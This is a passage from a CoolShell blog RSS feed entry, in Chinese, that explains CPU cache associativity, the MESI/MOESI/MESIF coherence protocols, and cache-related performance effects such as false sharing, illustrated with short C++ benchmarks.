Cache中的哪个位置上，因为Cache的大小远远小于内存，所以，需要有一种地址关联的算法，能够让内存中的数据可以被映射到Cache中来。这个有点像内存地址从逻辑地址向物理地址映射的方法，但不完全一样。</p>\n<p>基本上来说，我们会有如下的一些方法。</p>\n<ul>\n<li>一种方法是，任何一个内存地址的数据可以被缓存在任何一个Cache Line里，这种方法是最灵活的，但是，如果我们要知道一个内存是否存在于Cache中，我们就需要进行O(n)复杂度的Cache遍历，这是很没有效率的。</li>\n<li>另一种方法，为了降低缓存搜索算法，我们需要使用像Hash Table这样的数据结构，最简单的hash table就是做“求模运算”，比如：我们的L1 Cache有512个Cache Line，那么，公式：<code>（内存地址 mod 512）* 64</code> 就可以直接找到所在的Cache地址的偏移了。但是，这样的方式需要我们的程序对内存地址的访问要非常地平均，不然冲突就会非常严重。这成了一种非常理想的情况了。</li>\n<li>为了避免上述的两种方案的问题，于是就要容忍一定的hash冲突，也就出现了 N-Way 关联。也就是把连续的N个Cache Line绑成一组，然后，先把找到相关的组，然后再在这个组内找到相关的Cache Line。这叫 Set Associativity。如下图所示。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-20806\" src=\"https://coolshell.cn/wp-content/uploads/2020/02/cache-associative-fill-both.png\" alt=\"\" width=\"546\" height=\"271\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/02/cache-associative-fill-both.png 546w, https://coolshell.cn/wp-content/uploads/2020/02/cache-associative-fill-both-300x149.png 300w, https://coolshell.cn/wp-content/uploads/2020/02/cache-associative-fill-both-544x270.png 544w\" sizes=\"(max-width: 546px) 100vw, 546px\" /></p>\n<p>对于 N-Way 组关联，可能有点不好理解，这里个例子，并多说一些细节（不然后面的代码你会不能理解），Intel 大多数处理器的L1 Cache都是32KB，8-Way 组相联，Cache Line 是64 Bytes。这意味着，</p>\n<ul>\n<li>32KB的可以分成，32KB / 64 = 512 条 Cache Line。</li>\n<li>因为有8 Way，于是会每一Way 有 512 / 8 = 64 条 Cache Line。</li>\n<li>于是每一路就有 64 x 64 = 4096 Byts 的内存。</li>\n</ul>\n<p>为了方便索引内存地址，</p>\n<ul>\n<li><strong>Tag</strong>：每条 Cache Line 前都会有一个独立分配的 24 bits来存的 tag，其就是内存地址的前24bits</li>\n<li><strong>Index</strong>：内存地址后续的6个bits则是在这一Way的是Cache Line 索引，2^6 = 64 刚好可以索引64条Cache Line</li>\n<li><strong>Offset</strong>：再往后的6bits用于表示在Cache Line 里的偏移量</li>\n</ul>\n<p>如下图所示：（图片来自《<a href=\"https://manybutfinite.com/post/intel-cpu-caches/\" target=\"_blank\" rel=\"noopener noreferrer\">Cache: a place for concealment and safekeeping</a>》）</p>\n<p>当拿到一个内存地址的时候，先拿出中间的 6bits 来，找到是哪组。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-20809\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/L1CacheExample.png\" alt=\"\" width=\"687\" height=\"461\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/03/L1CacheExample.png 687w, https://coolshell.cn/wp-content/uploads/2020/03/L1CacheExample-300x201.png 300w, https://coolshell.cn/wp-content/uploads/2020/03/L1CacheExample-402x270.png 402w\" sizes=\"(max-width: 687px) 100vw, 687px\" /></p>\n<p>然后，在这一个8组的cache line中，再进行O(n) n=8 的遍历，主是要匹配前24bits的tag。如果匹配中了，就算命中，如果没有匹配到，那就是cache miss，如果是读操作，就需要进向后面的缓存进行访问了。L2/L3同样是这样的算法。而淘汰算法有两种，一种是随机一种是LRU。现在一般都是以LRU的算法（通过增加一个访问计数器来实现）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-20840\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/selectingCacheLine.png\" alt=\"\" width=\"681\" height=\"283\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/03/selectingCacheLine.png 681w, https://coolshell.cn/wp-content/uploads/2020/03/selectingCacheLine-300x125.png 300w, https://coolshell.cn/wp-content/uploads/2020/03/selectingCacheLine-604x251.png 604w\" sizes=\"(max-width: 681px) 100vw, 681px\" /></p>\n<p>这也意味着：</p>\n<ul>\n<li>L1 Cache 可映射 36bits 的内存地址，一共 2^36 = 64GB的内存</li>\n<li>当CPU要访问一个内存的时候，通过这个内存中间的6bits 定位是哪个set，通过前 24bits 定位相应的Cache Line。</li>\n<li>就像一个hash Table的数据结构一样，先是O(1)的索引，然后进入冲突搜索。</li>\n<li>因为中间的 6bits 决定了一个同一个set，所以，对于一段连续的内存来说，每隔4096的内存会被放在同一个组内，导致缓存冲突。</li>\n</ul>\n<p>此外，当有数据没有命中缓存的时候，CPU就会以最小为Cache Line的单元向内存更新数据。当然，CPU并不一定只是更新64Bytes，因为访问主存实在是太慢了，所以，一般都会多更新一些。好的CPU会有一些预测的技术，如果找到一种pattern的话，就会预先加载更多的内存，包括指令也可以预加载。这叫 Prefetching 技术 （参看，Wikipedia 的 <a href=\"https://en.wikipedia.org/wiki/Cache_prefetching\" target=\"_blank\" rel=\"noopener noreferrer\">Cache Prefetching</a> 和 <a href=\"http://compas.cs.stonybrook.edu/~nhonarmand/courses/sp16/cse502/slides/13-prefetch.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">纽约州立大学的 Memory Prefetching</a>）。比如，你在for-loop访问一个连续的数组，你的步长是一个固定的数，内存就可以做到prefetching。（注：指令也是以预加载的方式执行，参看本站的《<a href=\"https://coolshell.cn/articles/7886.html\" target=\"_blank\" rel=\"noopener noreferrer\">代码执行的效率</a>》中的第三个示例）</p>\n<p>了解这些细节，会有利于我们知道在什么情况下有可以导致缓存的失效。</p>\n<h4>缓存的一致性</h4>\n<p>对于主流的CPU来说，缓存的写操作基本上是两种策略（参看本站《<a href=\"https://coolshell.cn/articles/17416.html\" target=\"_blank\" rel=\"noopener noreferrer\">缓存更新的套路</a>》），</p>\n<ul>\n<li>一种是Write Back，写操作只要在cache上，然后再flush到内存上。</li>\n<li>一种是Write Through，写操作同时写到cache和内存上。</li>\n</ul>\n<p>为了提高写的性能，一般来说，主流的CPU（如：Intel Core i7/i9）采用的是Write Back的策略，因为直接写内存实在是太慢了。</p>\n<p>好了，现在问题来了，如果有一个数据 x 在 CPU 第0核的缓存上被更新了，那么其它CPU核上对于这个数据 x 的值也要被更新，这就是缓存一致性的问题。（当然，对于我们上层的程序我们不用关心CPU多个核的缓存是怎么同步的，这对上层的代码来说都是透明的）</p>\n<p>一般来说，在CPU硬件上，会有两种方法来解决这个问题。</p>\n<ul>\n<li><strong>Directory 协议</strong>。这种方法的典型实现是要设计一个集中式控制器，它是主存储器控制器的一部分。其中有一个目录存储在主存储器中，其中包含有关各种本地缓存内容的全局状态信息。当单个CPU Cache 发出读写请求时，这个集中式控制器会检查并发出必要的命令，以在主存和CPU Cache之间或在CPU Cache自身之间进行数据同步和传输。</li>\n<li><strong>Snoopy 协议</strong>。这种协议更像是一种数据通知的总线型的技术。CPU Cache通过这个协议可以识别其它Cache上的数据状态。如果有数据共享的话，可以通过广播机制将共享数据的状态通知给其它CPU Cache。这个协议要求每个CPU Cache 都可以<strong class=\"hu je\"><em class=\"io\">“</em>窥探<em class=\"io\">”</em></strong>数据事件的通知并做出相应的反应。如下图所示，有一个Snoopy Bus的总线。</li>\n</ul>\n<p><strong><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-20797\" style=\"font-weight: 400;\" src=\"https://coolshell.cn/wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x.png\" alt=\"\" width=\"400\" height=\"217\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x.png 850w, https://coolshell.cn/wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x-300x163.png 300w, https://coolshell.cn/wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x-768x417.png 768w, https://coolshell.cn/wp-content/uploads/2020/02/The-cache-coherence-problem-Initially-processors-0-and-1-both-read-location-x-498x270.png 498w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></strong></p>\n<p>因为Directory协议是一个中心式的，会有性能瓶颈，而且会增加整体设计的复杂度。而Snoopy协议更像是微服务+消息通讯，所以，现在基本都是使用Snoopy的总线的设计。</p>\n<p>这里，我想多写一些细节，因为这种微观的东西，让人不自然地就会跟分布式系统关联起来，在分布式系统中我们一般用Paxos/Raft这样的分布式一致性的算法。而在CPU的微观世界里，则不必使用这样的算法，原因是因为CPU的多个核的硬件不必考虑网络会断会延迟的问题。所以，CPU的多核心缓存间的同步的核心就是要管理好数据的状态就好了。</p>\n<p>这里介绍几个状态协议，先从最简单的开始，MESI协议，这个协议跟那个著名的足球运动员梅西没什么关系，其主要表示缓存数据有四个状态：Modified（已修改）, Exclusive（独占的）,Shared（共享的），Invalid（无效的）。</p>\n<p>这些状态的状态机如下所示（有点复杂，你可以先不看，这个图就是想告诉你状态控制有多复杂）：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-20804\" src=\"https://coolshell.cn/wp-content/uploads/2020/02/MESI.png\" alt=\"\" width=\"420\" height=\"406\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/02/MESI.png 420w, https://coolshell.cn/wp-content/uploads/2020/02/MESI-300x290.png 300w, https://coolshell.cn/wp-content/uploads/2020/02/MESI-279x270.png 279w\" sizes=\"(max-width: 420px) 100vw, 420px\" /></p>\n<p>下面是个示例（如果你想看一下动画演示的话，这里有一个网页（<a href=\"https://www.scss.tcd.ie/Jeremy.Jones/VivioJS/caches/MESIHelp.htm\" target=\"_blank\" rel=\"noopener noreferrer\">MESI Interactive Animations</a>），你可以进行交互操作，这个动画演示中使用的Write Through算法）：</p>\n<table>\n<thead>\n<tr>\n<th>当前操作</th>\n<th>CPU0</th>\n<th>CPU1</th>\n<th>Memory</th>\n<th>说明</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1) CPU0 read(x)</td>\n<td> x=1 (E)</td>\n<td></td>\n<td>x=1</td>\n<td>只有一个CPU有 x 变量，<br />\n所以，状态是 Exclusive</td>\n</tr>\n<tr>\n<td>2) CPU1 read(x)</td>\n<td> x=1 (S)</td>\n<td>x=1(S)</td>\n<td>x=1</td>\n<td>有两个CPU都读取 x 变量，<br />\n所以状态变成 Shared</td>\n</tr>\n<tr>\n<td>3) CPU0 write(x,9)</td>\n<td> x=<span style=\"color: #ff0000;\">9</span> (M)</td>\n<td>x=1(I)</td>\n<td>x=1</td>\n<td>变量改变，在CPU0中状态<br />\n变成 Modified，在CPU1中<br />\n状态变成 Invalid</td>\n</tr>\n<tr>\n<td>4) 变量 x 写回内存</td>\n<td> x=9 (M)</td>\n<td>X=1(I)</td>\n<td>x=9</td>\n<td>目前的状态不变</td>\n</tr>\n<tr>\n<td>5) CPU1  read(x)</td>\n<td> x=9 (S)</td>\n<td>x=9(S)</td>\n<td>x=9</td>\n<td>变量同步到所有的Cache中，<br />\n状态回到Shared</td>\n</tr>\n</tbody>\n</table>\n<p>&nbsp;</p>\n<p>MESI 这种协议在数据更新后，会标记其它共享的CPU缓存的数据拷贝为Invalid状态，然后当其它CPU再次read的时候，就会出现 cache miss 的问题，此时再从内存中更新数据。从内存中更新数据意味着20倍速度的降低。我们能不能直接从我隔壁的CPU缓存中更新？是的，这就可以增加很多速度了，但是状态控制也就变麻烦了。还需要多来一个状态：Owner(宿主)，用于标记，我是更新数据的源。于是，出现了 <a href=\"https://en.wikipedia.org/wiki/MOESI_protocol\" target=\"_blank\" rel=\"noopener noreferrer\">MOESI 协议</a></p>\n<p>MOESI协议的状态机和演示示例我就不贴了（有兴趣可以上<a href=\"https://inst.eecs.berkeley.edu/~cs61c/su18/disc/11/Disc11Sol.pdf\" target=\"_blank\" rel=\"noopener\">Berkeley上看看相关的课件</a>），<strong>我们只需要理解MOESI协议允许 CPU Cache 间同步数据，于是也降低了对内存的操作</strong>，性能是非常大的提升，但是控制逻辑也非常复杂。</p>\n<p>顺便说一下，与 MOESI 协议类似的一个协议是 <a href=\"https://en.wikipedia.org/wiki/MESIF_protocol\" target=\"_blank\" rel=\"noopener noreferrer\">MESIF</a>，其中的 F 是 Forward，同样是把更新过的数据转发给别的 CPU Cache 但是，MOESI 中的 Owner 状态 和MESIF 中的 Forward 状态有一个非常大的不一样—— <strong>Owner状态下的数据是dirty的，还没有写回内存，Forward状态下的数据是clean的，可以丢弃而不用另行通知</strong>。</p>\n<p>需要说明的是，AMD用MOESI，Intel用MESIF。所以，F 状态主要是针对 CPU L3 Cache 设计的（前面我们说过，L3是所有CPU核心共享的）。（相关的比较可以参看<a href=\"https://stackoverflow.com/a/49989985\" target=\"_blank\" rel=\"noopener noreferrer\">StackOverlow上这个问题的答案</a>）</p>\n<h4>程序性能</h4>\n<p>了解了我们上面的这些东西后，我们来看一下对于程序的影响。</p>\n<h5>示例一</h5>\n<p>首先，假设我们有一个64M长的数组，设想一下下面的两个循环：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">const int LEN = 64*1024*1024;\nint *arr = new int[LEN];\n\nfor (int i = 0; i &lt; LEN; i += 2) arr[i] *= i;\n\nfor (int i = 0; i &lt; LEN; i += 8) arr[i] *= i;</pre>\n<p>按我们的想法来看，第二个循环要比第一个循环少4倍的计算量，其应该也是要快4倍的。但实际跑下来并不是，<strong>在我的机器上，第一个循环需要127毫秒，第二个循环则需要121毫秒，相差无几</strong>。这里最主要的原因就是 Cache Line，因为CPU会以一个Cache Line 64Bytes最小时单位加载，也就是16个32bits的整型，所以，无论你步长是2还是8，都差不多。而后面的乘法其实是不耗CPU时间的。</p>\n<h5>示例二</h5>\n<p>我们再来看一个与缓存命中率有关的代码，我们以一定的步长<code>increment</code> 来访问一个连续的数组。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">for (int i = 0; i &lt; 10000000; i++) {\n    for (int j = 0; j &lt; size; j += increment) {\n        memory[j] += j;\n    }\n}</pre>\n<p>我们测试一下，在下表中， 表头是步长，也就是每次跳多少个整数，而纵向是这个数组可以跳几次（你可以理解为要几条Cache Line），于是表中的任何一项代表了这个数组有多少，而且步长是多少。比如：横轴是 512，纵轴是4，意思是，这个数组有 <code>4*512 = 2048</code> 个长度，访问时按512步长访问，也就是访问其中的这几项：<code>[0, 512, 1024, 1536]</code> 这四项。</p>\n<p>表中同的项是，是循环1000万次的时间，单位是“微秒”（除以1000后是毫秒）</p>\n<pre>| count |   1    |   16  |  512  | 1024  |\n------------------------------------------\n|     1 |  17539 | 16726 | 15143 | 14477 |\n|     2 |  15420 | 14648 | 13552 | 13343 |\n|     3 |  14716 | 14463 | 15086 | 17509 |\n|     4 |  18976 | 18829 | 18961 | 21645 |\n|     5 |  23693 | 23436 | 74349 | 29796 |\n|     6 |  23264 | 23707 | 27005 | 44103 |\n|     7 |  28574 | 28979 | 33169 | 58759 |\n|     8 |  33155 | 34405 | 39339 | 65182 |\n|     9 |  37088 | 37788 | 49863 |<span style=\"color: #cc0000;\"><strong>156745</strong></span> |\n|    10 |  41543 | 42103 | 58533 |<span style=\"color: #cc0000;\"><strong>215278</strong></span> |\n|    11 |  47638 | 50329 | 66620 |<span style=\"color: #cc0000;\"><strong>335603</strong></span> |\n|    12 |  49759 | 51228 | 75087 |<span style=\"color: #cc0000;\"><strong>305075</strong></span> |\n|    13 |  53938 | 53924 | 77790 |<span style=\"color: #cc0000;\"><strong>366879</strong></span> |\n|    14 |  58422 | 59565 | 90501 |<span style=\"color: #cc0000;\"><strong>466368</strong></span> |\n|    15 |  62161 | 64129 | 90814 |<span style=\"color: #cc0000;\"><strong>525780</strong></span> |\n|    16 |  67061 | 66663 | 98734 |<span style=\"color: #cc0000;\"><strong>440558</strong></span> |\n|    17 |  71132 | 69753 |<span style=\"color: #cc0000;\"><strong>171203</strong></span> |<span style=\"color: #cc0000;\"><strong>506631</strong></span> |\n|    18 |  74102 | 73130 |<span style=\"color: #cc0000;\"><strong>293947</strong></span> |<span style=\"color: #cc0000;\"><strong>550920</strong></span> |\n</pre>\n<p>我们可以看到，从 <code>[9，1024]</code> 以后，时间显著上升。包括 <code>[17，512]</code> 和 <code>[18,512]</code> 也显著上升。这是因为，我机器的 L1 Cache 是 32KB, 8 Way 的，前面说过，8 Way的有64组，每组8个Cache Line，当for-loop步长超过1024个整型，也就是正好 4096 Bytes时，也就是导致内存地址的变化是变化在高位的24bits上，而低位的12bits变化不大，尤其是中间6bits没有变化，导致全部命中同一组set，导致大量的cache 冲突，导致性能下降，时间上升。而 [16, 512]也是一样的，其中的几步开始导致L1 Cache开始冲突失效。</p>\n<h5>示例三</h5>\n<p>接下来，我们再来看个示例。下面是一个二维数组的两种遍历方式，一个逐行遍历，一个是逐列遍历，这两种方式在理论上来说，寻址和计算量都是一样的，执行时间应该也是一样的。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">const int row = 1024;\nconst int col = 512\nint matrix[row][col];\n\n//逐行遍历\nint sum_row=0;\nfor(int _r=0; _r&lt;row; _r++) {\n    for(int _c=0; _c&lt;col; _c++){\n        sum_row += matrix[_r][_c];\n    }\n}\n\n//逐列遍历\nint sum_col=0;\nfor(int _c=0; _c&lt;col; _c++) {\n    for(int _r=0; _r&lt;row; _r++){\n        sum_col += matrix[_r][_c];\n    }\n}</pre>\n<p>然而，并不是，在我的机器上，得到下面的结果。</p>\n<ul>\n<li>逐行遍历：0.081ms</li>\n<li>逐列遍历：1.069ms</li>\n</ul>\n<p>执行时间有十几倍的差距。其中的原因，就是逐列遍历对于CPU Cache 的运作方式并不友好，所以，付出巨大的代价。</p>\n<h5>示例四</h5>\n<p>接下来，我们来看一下多核下的性能问题，参看如下的代码。两个线程在操作一个数组的两个不同的元素（无需加锁），线程循环1000万次，做加法操作。在下面的代码中，我高亮了一行，就是<code>p2</code>指针，要么是<code>p[1]</code>，或是 <code>p[30]</code>，理论上来说，无论访问哪两个数组元素，都应该是一样的执行时间。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-highlight=\"9\">void fn (int* data) {\n    for(int i = 0; i &lt; 10*1024*1024; ++i)\n        *data += rand();\n}\n\nint p[32];\n\nint *p1 = &amp;p[0];\nint *p2 = &amp;p[1]; // int *p2 = &amp;p[30];\n\nthread t1(fn, p1);\nthread t2(fn, p2);</pre>\n<p>然而，并不是，在我的机器上执行下来的结果是：</p>\n<ul>\n<li>对于 <code>p[0]</code> 和 <code>p[1]</code> ：560ms</li>\n<li>对于 <code>p[0]</code> 和 <code>p[30]</code>：104ms</li>\n</ul>\n<p>这是因为 <code>p[0]</code> 和 <code>p[1]</code> 在同一条 Cache Line 上，而 <code>p[0]</code> 和 <code>p[30]</code> 则不可能在同一条Cache Line 上 ，CPU的缓存最小的更新单位是Cache Line，所以，<strong>这导致虽然两个线程在写不同的数据，但是因为这两个数据在同一条Cache Line上，就会导致缓存需要不断进在两个CPU的L1/L2中进行同步，从而导致了5倍的时间差异</strong>。</p>\n<h5>示例五</h5>\n<p>接下来，我们再来看一下另外一段代码：我们想统计一下一个数组中的奇数个数，但是这个数组太大了，我们希望可以用多线程来完成这个统计。下面的代码中，<strong>我们为每一个线程传入一个 id ，然后通过这个 id 来完成对应数组段的统计任务。这样可以加快整个处理速度</strong>。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">int total_size = 16 * 1024 * 1024; //数组长度\nint* test_data = new test_data[total_size]; //数组\nint nthread = 6; //线程数（因为我的机器是6核的）\nint result[nthread]; //收集结果的数组\n\nvoid thread_func (int id) {\n    result[id] = 0;\n    int chunk_size = total_size / nthread + 1;\n    int start = id * chunk_size;\n    int end = min(start + chunk_size, total_size);\n\n    for ( int i = start; i &lt; end; ++i ) {\n        if (test_data[i] % 2 != 0 ) ++result[id];\n    }\n}</pre>\n<p>然而，在执行过程中，<strong>你会发现，6个线程居然跑不过1个线程</strong>。因为根据上面的例子你知道 <code>result[]</code> 这个数组中的数据在一个Cache Line中，所以，所有的线程都会对这个 Cache Line 进行写操作，导致所有的线程都在不断地重新同步 <code>result[]</code> 所在的 Cache Line，所以，导致 6 个线程还跑不过一个线程的结果。这叫 <strong>False Sharing</strong>。</p>\n<p>优化也很简单，使用一个线程内的变量。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">void thread_func (int id) {\n    result[id] = 0;\n    int chunk_size = total_size / nthread + 1;\n    int start = id * chunk_size;\n    int end = min(start + chunk_size, total_size);\n\n    int c = 0; //使用临时变量，没有cache line的同步了\n    for ( int i = start; i &lt; end; ++i ) {\n        if (test_data[i] % 2 != 0 ) ++c;\n    }\n    result[id] = c;\n}</pre>\n<p>我们把两个程序分别在 1 到 32 个线程上跑一下，得出的结果画一张图如下所示（横轴是线程数，纵轴是完成统的时间，单位是微秒）：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-20813\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/false.sharing-1024x643.png\" alt=\"\" width=\"640\" height=\"402\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/03/false.sharing-1024x643.png 1024w, https://coolshell.cn/wp-content/uploads/2020/03/false.sharing-300x188.png 300w, https://coolshell.cn/wp-content/uploads/2020/03/false.sharing-768x482.png 768w, https://coolshell.cn/wp-content/uploads/2020/03/false.sharing-430x270.png 430w, https://coolshell.cn/wp-content/uploads/2020/03/false.sharing.png 1320w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>上图中，我们可以看到，灰色的曲线就是第一种方法，橙色的就是第二种（用局部变量的）方法。当只有一个线程的时候，两个方法相当，基本没有什么差别，但是在线程数增加的时候的时候，你会发现，第二种方法的性能提高的非常快。直到到达6个线程的时候，开始变得稳定（前面说过，我的CPU是6核的）。而第一种方法无论加多少线程也没有办法超过第二种方法。因为第一种方法不是CPU Cache 友好的。也就是说，第二种方法，<strong>只要我的CPU核数足够多，就可以做到线性的性能扩展，让每一个CPU核都跑起来，而第一种则不能</strong>。</p>\n<p>篇幅问题，示例就写到这里，相关的代码参看<a href=\"https://github.com/haoel/cpu-cache\" target=\"_blank\" rel=\"noopener noreferrer\">我的Github相关仓库</a>。</p>\n<h4>延伸阅读</h4>\n<ul>\n<li>Wikipedia : <a href=\"https://en.wikipedia.org/wiki/CPU_cache\" target=\"_blank\" rel=\"noopener noreferrer\">CPU Cache </a></li>\n<li>经典文章：<a href=\"http://igoro.com/archive/gallery-of-processor-cache-effects/\" target=\"_blank\" rel=\"noopener noreferrer\">Gallery of Processor Cache Effects</a> （这篇文章中的测试已经有点过时了，但是这篇文章中所说的那些东西还是非常适用的）</li>\n<li>Effective C++作者 Scott Meyers 的演讲 CPU Caches and Why You Care （<a href=\"https://www.youtube.com/watch?v=WDIkqP4JbkE\" target=\"_blank\" rel=\"noopener noreferrer\">Youtube</a>，<a href=\"https://www.aristeia.com/TalkNotes/codedive-CPUCachesHandouts.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">PPT</a>）</li>\n<li>美国私立大学Swarthmore的教材 <a href=\"https://www.cs.swarthmore.edu/~kwebb/cs31/f18/memhierarchy/caching.html\" target=\"_blank\" rel=\"noopener noreferrer\">Cache Architecture and Design</a></li>\n<li>经典文章：<a href=\"https://people.freebsd.org/~lstewart/articles/cpumemory.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">What Every Programmer Should Know About Memory</a> （这篇文章非常经典，但是开篇太晦涩了，居然告诉你晶体管内的构造，第三章和第六章是重点）</li>\n<li>Nonblocking Algorithms and Scalable Multicore Programming （<a href=\"https://queue.acm.org/detail.cfm?id=2492433\" target=\"_blank\" rel=\"noopener noreferrer\">英文版</a>，<a href=\"https://www.oschina.net/translate/nonblocking-algorithms-and-scalable-multicore-programming\" target=\"_blank\" rel=\"noopener noreferrer\">中文版</a>）</li>\n<li>Github上的一个代码库 <a href=\"https://github.com/Kobzol/hardware-effects\" target=\"_blank\" rel=\"noopener noreferrer\">hardware-effects</a> 里面有受CPU影响的程序的演示</li>\n<li>Optimizing for instruction caches （<a href=\"https://www.eetimes.com/optimizing-for-instruction-caches-part-1/\" target=\"_blank\" rel=\"noopener noreferrer\">Part 1</a>，<a href=\"https://www.eetimes.com/optimizing-for-instruction-caches-part-2/\" target=\"_blank\" rel=\"noopener noreferrer\">Part 2</a>， <a href=\"https://www.eetimes.com/optimizing-for-instruction-caches-part-3/\">Part 3</a>）</li>\n<li>经典数据：<a href=\"https://gist.github.com/jboner/2841832\" target=\"_blank\" rel=\"noopener noreferrer\">Latency Numbers Every Programmer Should Know</a></li>\n<li>关于Java的可以看一下这篇<a href=\"https://dzone.com/articles/optimizing-memory-access-with-cpu-cache\" target=\"_blank\" rel=\"noopener noreferrer\">Optimizing Memory Access With CPU Cache</a> 或是 <a href=\"https://www.stardog.com/blog/writing-cache-friendly-code/\" target=\"_blank\" rel=\"noopener noreferrer\">Writing cache-friendly code</a></li>\n</ul>\n<p>总之，这个CPU Cache的调优技术不是什么新鲜的东西，只要Google就能找到有很多很多文章……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10249.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/image6-150x150.png\" alt=\"7个示例科普CPU Cache\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10249.html\" class=\"wp_rp_title\">7个示例科普CPU Cache</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li><li ><a href=\"https://coolshell.cn/articles/2039.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"CPU的性价比\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2039.html\" class=\"wp_rp_title\">CPU的性价比</a></li><li ><a href=\"https://coolshell.cn/articles/1044.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"高级Unix命令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1044.html\" class=\"wp_rp_title\">高级Unix命令</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20793.html\">与程序员相关的CPU缓存知识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/20793.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>107</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>MegaEase的远程工作文化</title>\n\t\t<link>https://coolshell.cn/articles/20765.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/20765.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 31 Jan 2020 07:23:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[MegaEase]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[remote]]></category>\n\t\t<category><![CDATA[Rework]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=20765</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>MegaEase 